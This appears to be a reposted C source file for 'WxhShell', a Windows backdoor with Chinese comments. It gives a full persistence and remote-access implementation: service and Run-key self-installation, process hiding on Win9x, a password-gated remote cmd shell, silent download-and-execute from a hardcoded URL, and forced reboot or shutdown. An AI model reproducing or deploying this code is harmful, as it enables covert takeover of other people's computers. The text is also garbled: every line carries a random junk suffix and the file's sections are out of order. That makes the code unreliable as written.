    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C $r]]MSj  
    else { G'\x9%  
    closesocket(wsh); ?t{ 2y1  
    ExitThread(0); nOE 1bf^l  
    } kpU-//lk+  
    break; ti}g?\VT  
    } }K%y'D  
  // 获取shell Ksu_4dE  
  case 's': { /t<C_lLM  
    CmdShell(wsh); 9}TQ u0  
    closesocket(wsh); a!?&8$^<  
    ExitThread(0); }s7ibm'  
    break; ncy?w e  
  } aRh1Q=^@(4  
  // 退出 C*f3PB=H_  
  case 'x': { CaV>\E)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #FHyP1uyc  
    CloseIt(wsh); PM A61g  
    break; s,2gd'  
    } = IkG;gg  
  // 离开 DwLl}{r'  
  case 'q': { sJHN4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Fm3f/]>k#_  
    closesocket(wsh); 6x _tX  
    WSACleanup(); [Tq\K ^!^  
    exit(1); J% t[{  
    break; , 7kS#`P  
        } \;%DDw  
  } L9FijF7  
  } Wxxnc#;lv  
tHj |_t  
  // 提示信息 DwL4?!E  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ; {P"~(S%  
} 1 =cFV'  
  } pJK}9p=4`  
|4XR [eX  
  return;  7z?r x  
} I}@m6D|\  
)7j CEA03  
// shell模块句柄 M-B-  
int CmdShell(SOCKET sock) Yiq8 >|  
{ Js7D>GWP!  
STARTUPINFO si; ).Ei:/*j  
ZeroMemory(&si,sizeof(si)); .L X8ko  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yM8<)6=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; J3$Ce%<   
PROCESS_INFORMATION ProcessInfo; o=,q4;R'  
char cmdline[]="cmd"; 5>e3srKu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Dn#GoDMJ[  
  return 0; Fk 5;  
} U/|H%b  
=R>%}5  
// 自身启动模式 w<uK-]t  
int StartFromService(void) qC%[J:RwF  
{ 6,C,LT2^(  
typedef struct P9RIX;A=  
{ ;goR0PN  
  DWORD ExitStatus; U;_b4S:  
  DWORD PebBaseAddress; ,3zF_y(*Y  
  DWORD AffinityMask; r:&"#F   
  DWORD BasePriority; 77Fpb?0`  
  ULONG UniqueProcessId; iSZiJ4AUq  
  ULONG InheritedFromUniqueProcessId; l/JE}Eg(  
}   PROCESS_BASIC_INFORMATION; zMXlLRC0  
l u^fKQ  
PROCNTQSIP NtQueryInformationProcess; 9J$8=UuxWG  
\ :*<En0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jmAQ!y|W.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0V:DeX$bZ  
B f_oIc  
  HANDLE             hProcess; :jFKTG  
  PROCESS_BASIC_INFORMATION pbi; !"dbK'jb^  
SQZUkKfb  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -%U 15W;  
  if(NULL == hInst ) return 0; ||lI_B  
.o2]ndT/J  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UI*^$7z1 +  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1Ugyjjlz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?`nF"u>  
YGA( "<  
  if (!NtQueryInformationProcess) return 0; qX GAlCq@  
 ^vPt Ppt  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _PPW9US{  
  if(!hProcess) return 0; >tq,F"2amC  
@R|Gz/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; CTbz?Kn  
%("Bq"Q8  
  CloseHandle(hProcess); 4)BPrWea1  
Y]5\%JR  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zKi5e+\  
if(hProcess==NULL) return 0; ;9{x""  
Kzs]+Cl  
HMODULE hMod; k+"+s bsW'  
char procName[255]; ',Mi D=_  
unsigned long cbNeeded; l#FW#`f  
vFK&63  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); : .-z) C}  
o|s JTY  
  CloseHandle(hProcess); #L{+V?  
.Z!!x  
if(strstr(procName,"services")) return 1; // 以服务启动 RsYn6ozb  
%G<!&E!0h  
  return 0; // 注册表启动 0 gyg  
} +P7A`{Ae  
T41&;?-  
// 主模块 ;BEg"cm  
int StartWxhshell(LPSTR lpCmdLine) m\h/D7zg  
{ xb!h?F&  
  SOCKET wsl; (O N \-*  
BOOL val=TRUE; ,_ XDCu @  
  int port=0; ? [?{X~uq  
  struct sockaddr_in door; yn0OPjH  
eB:OvOol*^  
  if(wscfg.ws_autoins) Install(); >A$J5B >d  
W |]24  
port=atoi(lpCmdLine); !OJ@ =y`i  
,t+5(qi  
if(port<=0) port=wscfg.ws_port; S^@I4Z  
K)Nbl^6x  
  WSADATA data; v5|X=B>&>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3dnL\AqC  
fq){?hk~O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9})!~r;|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }mjJglK!N  
  door.sin_family = AF_INET; aW8Bx\q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T,72I  
  door.sin_port = htons(port); ^|6%~jkD5  
 8@)/a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kU8V,5  
closesocket(wsl); l-yQ3/:  
return 1; [?<"SJ,`  
} fCSM#3|,]  
j:%~:  
  if(listen(wsl,2) == INVALID_SOCKET) { {4Q4aL(  
closesocket(wsl); Gd)@PWK  
return 1; EO'[AU%~  
} V8>%$O sw  
  Wxhshell(wsl); Y8I$J BO  
  WSACleanup(); b;&J2:`  
<^&NA<2  
return 0; kb?QQ\e  
 4q)eNcs  
} 9$,?Grw~  
q P@4KH} e  
// 以NT服务方式启动 DJeP]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) oJK]oVX9i  
{ o y! W$ ?6  
DWORD   status = 0; m:<cLc :.  
  DWORD   specificError = 0xfffffff;  Xc2Oa  
qoBm!|q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; im^G{3z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m :ROq  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vrsO]ctI  
  serviceStatus.dwWin32ExitCode     = 0; +MKr.k2  
  serviceStatus.dwServiceSpecificExitCode = 0; uXuMt a* Y  
  serviceStatus.dwCheckPoint       = 0; o<e AZ  
  serviceStatus.dwWaitHint       = 0; N}wi<P:*)  
x`^~|Q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [{_JO+)+n  
  if (hServiceStatusHandle==0) return; 6uQfe? aD  
9hI4',(rE  
status = GetLastError(); *1V}vJvi  
  if (status!=NO_ERROR) fmH$ 1C<  
{ !!ZNemXct$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #.0^;M5Nh  
    serviceStatus.dwCheckPoint       = 0; /<Cl\q2 A  
    serviceStatus.dwWaitHint       = 0;  tFvti5  
    serviceStatus.dwWin32ExitCode     = status; :8U=L'4  
    serviceStatus.dwServiceSpecificExitCode = specificError; hq/k}Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6hSj)  
    return; F;jl0)fBR=  
  } $kJvPwRO  
GLA,,i'i9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !3K6ew>Sf  
  serviceStatus.dwCheckPoint       = 0; -p`hevRr  
  serviceStatus.dwWaitHint       = 0; KcVCA    
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w,]cFT  
} pYJv|`+  
&C3J6uCm+  
// 处理NT服务事件,比如:启动、停止 #rzq9}9tB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wH[@#UP3l  
{ :{C#<g`  
switch(fdwControl) GVZ/`^ndM  
{ :L`  
case SERVICE_CONTROL_STOP: KYVB=14  
  serviceStatus.dwWin32ExitCode = 0; DY?`Y%"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; q@P5c  
  serviceStatus.dwCheckPoint   = 0; wo84V!"A  
  serviceStatus.dwWaitHint     = 0; bT>% *  
  { Wx~ 0_P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uk_?2?>-5  
  } \`r5tQr  
  return; BCF- lrZ&  
case SERVICE_CONTROL_PAUSE: a3 wUB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; aT"q}UTK  
  break; = LuH:VM&  
case SERVICE_CONTROL_CONTINUE:  N\DEY]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fR!'i):u  
  break; R{kZKD=  
case SERVICE_CONTROL_INTERROGATE: $k*E^~qT  
  break; 2}1(j  
}; 2(LS<HqP[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NFPW#-TF  
} @! ^c@  
I(/W+ o  
// 标准应用程序主函数 -O3^q.   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r#rQ3&Vn  
{ #b []-L!  
? )-*&1cv  
// 获取操作系统版本 eh nN  
OsIsNt=GetOsVer(); (7`&5m d  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4p&qH igG  
}u5;YNmXxF  
  // 从命令行安装 {FraM,w:  
  if(strpbrk(lpCmdLine,"iI")) Install(); vn~DtTp/  
~\}%6W[2  
  // 下载执行文件 S0 M-$  
if(wscfg.ws_downexe) { {<ymL}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nX<!n\J T  
  WinExec(wscfg.ws_filenam,SW_HIDE); n NZq`M  
} $zbm!._~DA  
j/wG0~<kz  
if(!OsIsNt) { cnC&=6=a<  
// 如果时win9x,隐藏进程并且设置为注册表启动 iN5~@8jAzz  
HideProc(); eI8^T?  
StartWxhshell(lpCmdLine); H:4r6-{  
} e2UbeP  
else Ps7(4%  
  if(StartFromService()) +w:[By"  
  // 以服务方式启动 Z<K[  
  StartServiceCtrlDispatcher(DispatchTable); &G5+bUF,  
else )7c\wAs  
  // 普通方式启动 Q<P],}?:  
  StartWxhshell(lpCmdLine); ~d?7\:n  
"m0>u,HmI  
return 0; S *?'y  
} `,tv&siSA  
R*/%+  
3\|e8(bc  
oHB51< }  
=========================================== `;*%5WD%  
yPn5l/pDDr  
%#2[3N{  
J:)Q)MT24:  
-7TT6+H)  
lMB^/-Y  
" e(x1w&8dB  
/cexd_l|f  
#include <stdio.h> GKH 7Xx(  
#include <string.h> :)t1>y>3  
#include <windows.h> Qr1%"^4  
#include <winsock2.h> ny'~pT'00  
#include <winsvc.h> .@JXV $Z  
#include <urlmon.h> :e ?qm7cB  
U:c!9uhp  
#pragma comment (lib, "Ws2_32.lib") G9:[W"P  
#pragma comment (lib, "urlmon.lib") ,'m<um  
oOBN  
#define MAX_USER   100 // 最大客户端连接数 lLxKC7b  
#define BUF_SOCK   200 // sock buffer Sb>;k(;`:  
#define KEY_BUFF   255 // 输入 buffer .1 .n{4z>:  
/@lXQM9 T  
#define REBOOT     0   // 重启 GfD!Z3  
#define SHUTDOWN   1   // 关机 pY!@w0.  
v)!Rir5  
#define DEF_PORT   5000 // 监听端口 'h%)@q)J)  
&!2 4l=!  
#define REG_LEN     16   // 注册表键长度 M/:kh,3  
#define SVC_LEN     80   // NT服务名长度 fBS;~;l  
E@hvO%  
// 从dll定义API <w+K$WE {  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HGs.v}@&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^;$a_eR  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )MHvuk:I)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /hOp>|  
7ml,  
// wxhshell配置信息 ? Sj,HLo@U  
struct WSCFG { IX']s;b  
  int ws_port;         // 监听端口 D&0*+6j((  
  char ws_passstr[REG_LEN]; // 口令 <`9Q{~*=t  
  int ws_autoins;       // 安装标记, 1=yes 0=no )i0\U  
  char ws_regname[REG_LEN]; // 注册表键名 M'$n".,p  
  char ws_svcname[REG_LEN]; // 服务名 WM*[+8h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |0ACapp!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gsGwf[XdJ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o>311(:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no L0qo/6|C  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M['8zN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `]#DdJ_|  
mNc (  
}; ",(-AU!a)h  
VzA~w` $d  
// default Wxhshell configuration ;<Oe\X  
struct WSCFG wscfg={DEF_PORT, {kD|8["Ie'  
    "xuhuanlingzhe", 5.0BaVwi  
    1, =PP]LDlJs  
    "Wxhshell", 0yfmQ=,X  
    "Wxhshell", ~#h@.yW^JN  
            "WxhShell Service", 8h=H\v^f  
    "Wrsky Windows CmdShell Service", CA7tI >y_  
    "Please Input Your Password: ", =7e~L 3 K  
  1, ={~`0,  
  "http://www.wrsky.com/wxhshell.exe", E[/<AY^@!z  
  "Wxhshell.exe" UaiDo"i  
    }; qtnLQl"M  
|+mhYq|`  
// 消息定义模块 vo-n9Bj  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; '=G4R{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )3=oS1p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xqmP/1=NO  
char *msg_ws_ext="\n\rExit."; 3cBuqQ  
char *msg_ws_end="\n\rQuit."; AH;0=<n  
char *msg_ws_boot="\n\rReboot..."; rOm)s'  
char *msg_ws_poff="\n\rShutdown..."; 7h<B:~(K  
char *msg_ws_down="\n\rSave to "; ;VSHXU'H  
z|=l^u6uS  
char *msg_ws_err="\n\rErr!"; >7!4o9)c  
char *msg_ws_ok="\n\rOK!"; B%6>2S=E  
T-xcd  
char ExeFile[MAX_PATH]; pR4{}=g,  
int nUser = 0; Yn+/yz5k_  
HANDLE handles[MAX_USER]; X<Rh-1$8F  
int OsIsNt; 4};iL)  
{oy(08 `6  
SERVICE_STATUS       serviceStatus; ib/B!?/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'vgw>\X(  
AA;\7;k{  
// 函数声明 eG72=l)Mz  
int Install(void); yeFt0\=H  
int Uninstall(void); $u|p(E:*  
int DownloadFile(char *sURL, SOCKET wsh); /FJAI  
int Boot(int flag); KXL]Qw FN  
void HideProc(void); #*BcO-N  
int GetOsVer(void); OthQ)&pq X  
int Wxhshell(SOCKET wsl); 30-XFl  
void TalkWithClient(void *cs); #.$p7]  
int CmdShell(SOCKET sock); rtS(iD@B"  
int StartFromService(void); YT+fOndjaF  
int StartWxhshell(LPSTR lpCmdLine); UO5^4  
,}2M'DSWa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9`f]Rf"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >:4}OylhM  
tQ< ou,   
// 数据结构和表定义 =SA@3)kHH  
SERVICE_TABLE_ENTRY DispatchTable[] = IVzJ|  
{ ,@tY D(Z  
{wscfg.ws_svcname, NTServiceMain}, \m1r(*Ar  
{NULL, NULL} A7>0Pn%D3  
}; 3Ew-Ia%A  
vRp =L54z  
// 自我安装 V.Dqbv  
int Install(void) g05:A0X#  
{ 'uGn1|Pvy  
  char svExeFile[MAX_PATH]; \9geDX9A  
  HKEY key; [?r`8K2!,  
  strcpy(svExeFile,ExeFile); ?;i O  
)TnxsFC  
// 如果是win9x系统,修改注册表设为自启动  0$b)@  
if(!OsIsNt) { {-2I^Ym 5i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5rRYv~+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Tm-Nz7U^^  
  RegCloseKey(key); UpL?6)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k {_X%H/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R!0O[i  
  RegCloseKey(key); Qv(}*iq]  
  return 0; 0V`s 3,k  
    } s+YQ :>F  
  } /zMiy?  
} mk~&>\  
else { G4{ zt3{  
PCF!Y(l  
// 如果是NT以上系统,安装为系统服务 j!B+Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B f~  
if (schSCManager!=0) U=\ZeYK.  
{ x[U/ 8#f&  
  SC_HANDLE schService = CreateService G&)A7WaC  
  ( H{ p   
  schSCManager, ;| ##~Y.9  
  wscfg.ws_svcname, ~Os"dAgZFY  
  wscfg.ws_svcdisp, V%g$LrLVe  
  SERVICE_ALL_ACCESS, 6Db1mvSe  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1Y6<i8  
  SERVICE_AUTO_START, } 1^/[?  
  SERVICE_ERROR_NORMAL, 6T! *YrS  
  svExeFile, 2Vas`/~u~  
  NULL, y/k6gl[`  
  NULL, IeLG/ fB  
  NULL, R$X1Q/#md  
  NULL, Q#Q]xJH  
  NULL N`1:U 4}  
  ); 2>p K  
  if (schService!=0) jku_0Q0*?  
  { vQ>x5\r5O_  
  CloseServiceHandle(schService); 0+jR,5 |  
  CloseServiceHandle(schSCManager); :CH "cbo  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); yoGe^gar  
  strcat(svExeFile,wscfg.ws_svcname); ~UA-GWb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _) k=F=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3 GmU$w  
  RegCloseKey(key); U+>!DtOYK  
  return 0; X<dQq`kZ  
    } `CA-s  
  } JV(qTb W  
  CloseServiceHandle(schSCManager); De%WT:v  
} `[3Iz$K=  
} :0|]cHm  
-CtLL _I  
return 1; secD ` ]  
} _TfG-Ae  
|=L~>G  
// 自我卸载 jq:FDyOAW  
int Uninstall(void) F$QN>wPpM  
{ B{$4s8XU  
  HKEY key; wi^zXcVj  
eQ`TW'[9_6  
if(!OsIsNt) { Aw9se"d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z )s{>^D  
  RegDeleteValue(key,wscfg.ws_regname); W+36"?*k3  
  RegCloseKey(key); 9g3e( z@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zs|R#?a=  
  RegDeleteValue(key,wscfg.ws_regname); 0$NcxbM  
  RegCloseKey(key); !`"@!  
  return 0; OF J49X  
  } Kq#\P  
} Fka&\9i  
} 8dgI&t  
else { /?uA{/8  
Ss6mN;&D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <9z2:^  
if (schSCManager!=0) (8qD'(@  
{ piKYO+;W'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); KU#w %  
  if (schService!=0) mR U-M|  
  { z(b0U6)qQ  
  if(DeleteService(schService)!=0) { j3 ,6U jlU  
  CloseServiceHandle(schService); 2 Z K:S+c  
  CloseServiceHandle(schSCManager); x>:~=#Vi  
  return 0; *"Yz"PK  
  } Z^ynw8k"  
  CloseServiceHandle(schService); )d5H v2/0  
  } Lf0Y|^!S_u  
  CloseServiceHandle(schSCManager); Z BjyQ4h  
} hr3RC+ y  
} UJ0fYTeuI  
%\Dvng6$  
return 1; Gu[G_^>  
} u`?MV2jU2  
:EJ8^'0Q  
// 从指定url下载文件 -kFEVJbUyc  
int DownloadFile(char *sURL, SOCKET wsh) .<&o,D  
{ I/4:SNha  
  HRESULT hr; "2} {lu  
char seps[]= "/"; <%w)EQf4m  
char *token; qd$Y"~Mco  
char *file; [Q+8Ku  
char myURL[MAX_PATH]; iR} 3 [  
char myFILE[MAX_PATH]; _`3'D`s  
}dcXuX4{r  
strcpy(myURL,sURL);  Age  
  token=strtok(myURL,seps); XTboFrf  
  while(token!=NULL) E_sKDybj  
  { I~Y1DP)R  
    file=token; 7Nx5n<  
  token=strtok(NULL,seps); u&{}hv&FY  
  } \AFoxi2h  
kS_oj  
GetCurrentDirectory(MAX_PATH,myFILE); 8T"C]  
strcat(myFILE, "\\"); ~nYp*t C'  
strcat(myFILE, file); BkywYCWZ )  
  send(wsh,myFILE,strlen(myFILE),0); |dNJx<-  
send(wsh,"...",3,0); FvpaU\D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <ua`WRQr  
  if(hr==S_OK) @CGci lS=  
return 0; yQ$Q{,S9  
else |NuX9!S  
return 1; ueI1O/Mi  
Su" 9`  
} T%0vifoQ_$  
o[Ojl .r<  
// 系统电源模块 I ACpUB  
int Boot(int flag) V9aGo#  
{ iA*^`NMaT  
  HANDLE hToken; ^na8d's:  
  TOKEN_PRIVILEGES tkp; ]?KTw8j}  
MR4e.+#E  
  if(OsIsNt) { BG ] w2=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2"0q9Jg  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }E[u" @}  
    tkp.PrivilegeCount = 1; ;QYUiR  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $ZnLYuGb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Pn?Ujjv  
if(flag==REBOOT) { *B<Ig^c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Kf=6l#J7  
  return 0; ^n! j"  
} R`M>w MLH  
else { bEO\oS  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B$ty`/{w,B  
  return 0; i/Zv@GF  
} vbFi# |EU  
  } yC%zX}5  
  else { \tv^],^`  
if(flag==REBOOT) { tc-pVw:TV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Std?p{ i  
  return 0; FXLY*eRk  
} TpnJm%9`)t  
else { 6(#fGH&[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) RP!!6A6:  
  return 0; #fB&Hv #s7  
} GjVq"S  
} 8w,+Y]X<P[  
9Yu63s ia  
return 1; ~H<oqk:O-  
} qW~Z#Si  
>WYiOXYv  
// win9x进程隐藏模块 1P8XVI'  
void HideProc(void) ^a>3U l{  
{ eXs^YPi  
~rnbuIh  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T"h@-UcTl  
  if ( hKernel != NULL ) pr~%%fCh  
  { kHWW\?O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2EO WbN}M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O_v8R7 {  
    FreeLibrary(hKernel); x}^ :Bs+j  
  } IBP3  
pFB^l|\ ]  
return; cy_'QS$W   
} j 3/ I =  
s&Bk@a8  
// 获取操作系统版本 ^nO0/nqz]  
int GetOsVer(void) xi+bBqg<.K  
{ N@qP}/}8  
  OSVERSIONINFO winfo; <@F.qMl  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bQ%6z}r  
  GetVersionEx(&winfo); \,n|V3#G  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T[?wbYfW  
  return 1; Uz4!O  
  else ~wejy3|@0  
  return 0; 3/?^d;=  
} )GT*HJR(vc  
g3V bP  
// 客户端句柄模块 .Iu8bN(L`  
int Wxhshell(SOCKET wsl) ~mSW.jy}=-  
{ yT$CImP73  
  SOCKET wsh; n'?AZ4&z  
  struct sockaddr_in client; j\I{pW-  
  DWORD myID; =D>,s)}o3;  
QD8.C=2R  
  while(nUser<MAX_USER) -RLY.@'d-M  
{ ol[sX=5 *  
  int nSize=sizeof(client); UO1WtQyu,H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); FR BW(vKE  
  if(wsh==INVALID_SOCKET) return 1;  v|K,  
:D|5E>o(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W?>C$_p C  
if(handles[nUser]==0) [TW?sW^0  
  closesocket(wsh); "=0(a)01p:  
else R^p'gQc$   
  nUser++; Ri   
  } TmS-w  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bHKTCPf  
I>bO<T`  
  return 0; B0M(&)!%  
} X_3*DqY  
0I v(ioB=  
// 关闭 socket "^froQ{"T  
void CloseIt(SOCKET wsh) VxP cC+  
{ Tqf:G4!  
closesocket(wsh); =K \xE"  
nUser--; **G5fS.^W  
ExitThread(0); o){\qhLp  
} xCQLfXK7  
{`ghX%M(l  
// 客户端请求句柄 YAdk3y~pL  
void TalkWithClient(void *cs) CyV2=o!F w  
{ &FpoMW  
/Kd9UQU  
  SOCKET wsh=(SOCKET)cs; i8h^~d2"  
  char pwd[SVC_LEN]; uGc0Lv4i/  
  char cmd[KEY_BUFF]; 1PN!1=F}  
char chr[1]; 3|0wD:Dy  
int i,j; @zC p/fo3  
d:vuRK4+  
  while (nUser < MAX_USER) { S{Q2KD  
7W MF8(j5  
if(wscfg.ws_passstr) { nb~592u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U[R[VY7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f=EWr8mno  
  //ZeroMemory(pwd,KEY_BUFF); v[2N-  
      i=0; '8"nXuL-  
  while(i<SVC_LEN) { eY V Jk7  
z 0}JiWR  
  // 设置超时 D#k ~lEPub  
  fd_set FdRead; u~~H'*EM  
  struct timeval TimeOut; %MM)5MsB  
  FD_ZERO(&FdRead); `9Rj;^NJ  
  FD_SET(wsh,&FdRead); \zT{zO&!  
  TimeOut.tv_sec=8; BO,xA-+  
  TimeOut.tv_usec=0; Be~ '@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); aN;c.1TY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %HD0N&  
W]oILL"d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  8+,I(+  
  pwd=chr[0]; OQJ#>*?  
  if(chr[0]==0xd || chr[0]==0xa) { 6QYHPz  
  pwd=0; ujf]@L?  
  break; 8Q(A1U  
  } so>jz@!EE  
  i++; ]@6L,+W"  
    } 8~}~ d}wW  
RI3GAd  
  // 如果是非法用户,关闭 socket Gspb\HJ^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pt%*Y.)az  
} j0~ dJ#  
)tv~N7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =.]{OT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <dKHZ4  
-y'tz,En.  
while(1) { w+Y_TJ%  
'!"rE1e  
  ZeroMemory(cmd,KEY_BUFF); 2w;Cw~<=d  
H1d2WNr[  
      // 自动支持客户端 telnet标准   0<)Ep~!  
  j=0; [85b+SKW  
  while(j<KEY_BUFF) { C({r1l4[D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lyzM?lK-  
  cmd[j]=chr[0]; .3CQFbHF  
  if(chr[0]==0xa || chr[0]==0xd) { r`Bm" xI  
  cmd[j]=0; (-Qr.t_B`  
  break; Rr0]~2R  
  } O& 1z-  
  j++; 8wLGmv^  
    } j 6dlAe  
Se.qft?D%(  
  // 下载文件 r@c!M|m@  
  if(strstr(cmd,"http://")) { +TC##}Zmb  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Hbl&)!I  
  if(DownloadFile(cmd,wsh)) .1f!w!ltVR  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7po;*?Ox  
  else \HL66%b[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X2mZ~RB(p  
  } )S9}uOG#  
  else { `4,]Mr1b  
mYFc53B  
    switch(cmd[0]) { $wcTUl  
